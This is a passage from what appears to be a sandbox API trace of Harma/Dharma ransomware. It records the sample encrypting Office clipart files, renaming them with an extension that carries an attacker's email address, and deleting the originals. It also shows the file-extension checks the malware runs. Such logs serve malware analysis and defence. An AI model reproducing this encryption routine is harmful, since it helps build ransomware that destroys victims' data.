1 [0143.582] SetEndOfFile (hFile=0x368) returned 1 [0144.037] CloseHandle (hObject=0x368) returned 1 [0144.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0144.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0144.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0144.095] lstrlenW (lpString=".doc") returned 4 [0144.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.096] lstrlenW (lpString=".docx") returned 5 [0144.096] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.096] lstrlenW (lpString=".pdf") returned 4 [0144.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.096] lstrlenW (lpString=".xls") returned 4 [0144.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.096] lstrlenW (lpString=".xlsx") returned 5 [0144.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.096] lstrlenW (lpString=".ppt") returned 4 [0144.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0144.096] lstrlenW (lpString=".zip") returned 4 [0144.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.096] lstrlenW (lpString=".rar") returned 4 [0144.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.096] lstrlenW (lpString=".bz2") returned 4 [0144.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.096] lstrlenW (lpString=".7z") returned 3 [0144.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0144.096] lstrlenW (lpString=".dbf") returned 4 [0144.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0144.096] lstrlenW (lpString=".1cd") returned 4 [0144.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0144.097] lstrlenW (lpString=".jpg") returned 4 [0144.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0144.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0144.097] lstrlenW (lpString=".doc") returned 4 [0144.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.097] lstrlenW (lpString=".docx") returned 5 [0144.097] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.097] lstrlenW (lpString=".pdf") returned 4 [0144.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.097] lstrlenW (lpString=".xls") returned 4 [0144.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.097] lstrlenW (lpString=".xlsx") returned 5 [0144.097] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.097] lstrlenW (lpString=".ppt") returned 4 [0144.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0144.097] lstrlenW (lpString=".zip") returned 4 [0144.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.097] lstrlenW (lpString=".rar") returned 4 [0144.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.097] lstrlenW (lpString=".bz2") returned 4 [0144.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.097] lstrlenW (lpString=".7z") returned 3 [0144.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0144.098] lstrlenW (lpString=".dbf") returned 4 [0144.098] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0144.098] lstrlenW (lpString=".1cd") returned 4 [0144.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0144.098] lstrlenW (lpString=".jpg") returned 4 [0144.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.098] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.098] lstrlenW (lpString="BD08808_.WMF") returned 12 [0144.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0144.100] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=47996) returned 1 [0144.100] CloseHandle (hObject=0x354) returned 1 [0144.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x20 [0144.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0144.101] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.101] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0144.102] GetLastError () returned 0x0 [0144.102] ReadFile (in: hFile=0x354, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xbb7c, lpOverlapped=0x0) returned 1 [0144.110] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xbb80, lpOverlapped=0x0) returned 1 [0144.111] ReadFile (in: hFile=0x354, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0144.111] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.111] SetEndOfFile (hFile=0x330) returned 1 [0144.115] CloseHandle (hObject=0x330) returned 1 [0144.115] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.115] SetEndOfFile (hFile=0x354) returned 1 [0144.118] CloseHandle (hObject=0x354) returned 1 [0144.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0144.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0144.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0144.174] lstrlenW (lpString=".doc") returned 4 [0144.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.174] lstrlenW (lpString=".docx") returned 5 [0144.174] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.175] lstrlenW (lpString=".pdf") returned 4 [0144.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.175] lstrlenW (lpString=".xls") returned 4 [0144.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.175] lstrlenW (lpString=".xlsx") returned 5 [0144.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.175] lstrlenW (lpString=".ppt") returned 4 [0144.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0144.175] lstrlenW (lpString=".zip") returned 4 [0144.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.175] lstrlenW (lpString=".rar") returned 4 [0144.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.175] lstrlenW (lpString=".bz2") returned 4 [0144.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.175] lstrlenW (lpString=".7z") returned 3 [0144.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0144.175] lstrlenW (lpString=".dbf") returned 4 [0144.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0144.175] lstrlenW (lpString=".1cd") returned 4 [0144.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0144.175] lstrlenW (lpString=".jpg") returned 4 [0144.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0144.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0144.175] lstrlenW (lpString=".doc") returned 4 [0144.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.175] lstrlenW (lpString=".docx") returned 5 [0144.176] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.176] lstrlenW (lpString=".pdf") returned 4 [0144.176] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.176] lstrlenW (lpString=".xls") returned 4 [0144.176] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.176] lstrlenW (lpString=".xlsx") returned 5 [0144.176] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.176] lstrlenW (lpString=".ppt") returned 4 [0144.176] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0144.176] lstrlenW (lpString=".zip") returned 4 [0144.176] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.176] lstrlenW (lpString=".rar") returned 4 [0144.176] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.176] lstrlenW (lpString=".bz2") returned 4 [0144.176] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.176] lstrlenW (lpString=".7z") returned 3 [0144.176] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0144.176] lstrlenW (lpString=".dbf") returned 4 [0144.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0144.176] lstrlenW (lpString=".1cd") returned 4 [0144.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0144.176] lstrlenW (lpString=".jpg") returned 4 [0144.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.176] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.176] lstrlenW (lpString="BD09031_.WMF") returned 12 [0144.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0144.177] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=47786) returned 1 [0144.177] CloseHandle (hObject=0x354) returned 1 [0144.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x20 [0144.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0144.178] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.178] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0144.178] GetLastError () returned 0x0 [0144.178] ReadFile (in: hFile=0x354, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xbaaa, lpOverlapped=0x0) returned 1 [0144.205] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xbab0, lpOverlapped=0x0) returned 1 [0144.207] ReadFile (in: hFile=0x354, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0144.207] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.207] SetEndOfFile (hFile=0x330) returned 1 [0144.207] CloseHandle (hObject=0x330) returned 1 [0144.207] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.207] SetEndOfFile (hFile=0x354) returned 1 [0144.212] CloseHandle (hObject=0x354) returned 1 [0144.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0144.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0144.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0144.476] lstrlenW (lpString=".doc") returned 4 [0144.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.477] lstrlenW (lpString=".docx") returned 5 [0144.477] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.477] lstrlenW (lpString=".pdf") returned 4 [0144.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.477] lstrlenW (lpString=".xls") returned 4 [0144.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.477] lstrlenW (lpString=".xlsx") returned 5 [0144.477] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.477] lstrlenW (lpString=".ppt") returned 4 [0144.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0144.477] lstrlenW (lpString=".zip") returned 4 [0144.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.477] lstrlenW (lpString=".rar") returned 4 [0144.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.477] lstrlenW (lpString=".bz2") returned 4 [0144.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.477] lstrlenW (lpString=".7z") returned 3 [0144.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0144.477] lstrlenW (lpString=".dbf") returned 4 [0144.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0144.477] lstrlenW (lpString=".1cd") returned 4 [0144.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0144.477] lstrlenW (lpString=".jpg") returned 4 [0144.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0144.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0144.478] lstrlenW (lpString=".doc") returned 4 [0144.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.478] lstrlenW (lpString=".docx") returned 5 [0144.478] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.478] lstrlenW (lpString=".pdf") returned 4 [0144.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.478] lstrlenW (lpString=".xls") returned 4 [0144.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.478] lstrlenW (lpString=".xlsx") returned 5 [0144.478] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.478] lstrlenW (lpString=".ppt") returned 4 [0144.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0144.478] lstrlenW (lpString=".zip") returned 4 [0144.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.478] lstrlenW (lpString=".rar") returned 4 [0144.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.478] lstrlenW (lpString=".bz2") returned 4 [0144.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.478] lstrlenW (lpString=".7z") returned 3 [0144.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0144.478] lstrlenW (lpString=".dbf") returned 4 [0144.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0144.479] lstrlenW (lpString=".1cd") returned 4 [0144.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0144.479] lstrlenW (lpString=".jpg") returned 4 [0144.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.479] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0144.479] lstrlenW (lpString="BD19582_.GIF") returned 12 [0144.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0144.485] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=15733) returned 1 [0144.485] CloseHandle (hObject=0x350) returned 1 [0144.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 0x20 [0144.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0144.625] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.625] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0144.626] GetLastError () returned 0x0 [0144.626] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x3d75, lpOverlapped=0x0) returned 1 [0144.646] WriteFile (in: hFile=0x344, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0144.647] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0144.647] WriteFile (in: hFile=0x344, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.647] SetEndOfFile (hFile=0x344) returned 1 [0144.647] CloseHandle (hObject=0x344) returned 1 [0144.647] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0144.647] SetEndOfFile (hFile=0x34c) returned 1 [0144.650] CloseHandle (hObject=0x34c) returned 1 [0144.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0144.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0144.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0144.652] lstrlenW (lpString=".doc") returned 4 [0144.652] lstrcmpiW 